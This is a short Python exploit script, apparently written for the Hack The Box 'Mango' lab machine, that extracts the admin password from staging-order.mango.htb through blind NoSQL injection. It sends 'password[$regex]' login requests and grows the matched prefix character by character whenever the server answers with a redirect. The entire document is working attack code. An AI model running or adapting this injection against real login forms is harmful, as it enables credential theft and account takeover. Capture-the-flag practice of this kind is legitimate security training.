mango htb staging py

# MANGO
# staging-order.mango.htb
#python script
import requests as req
import string
from requests_toolbelt.utils import dump
flag = ""
url="http://staging-order.mango.htb/"
loop = True
char = string.punctuation
while loop:
    loop = False
    for i in string.ascii_letters + string.digits + char:
        n=""
        if i in char:
            n+="\\"+i
            i=n
        payload = flag + i
        d_send = {'username':'admin','password[$regex]':"^"+payload,'login':'login'}
        r = req.post(url,data =d_send,allow_redirects=False)
        print(payload)
        #print(r.status_code)
        #print(dump.dump_all(r))
        if r.status_code == 302:
            #print(payload)
            loop = True
            flag = payload

            if i == "":
                print(flag)
                exit(0)
            break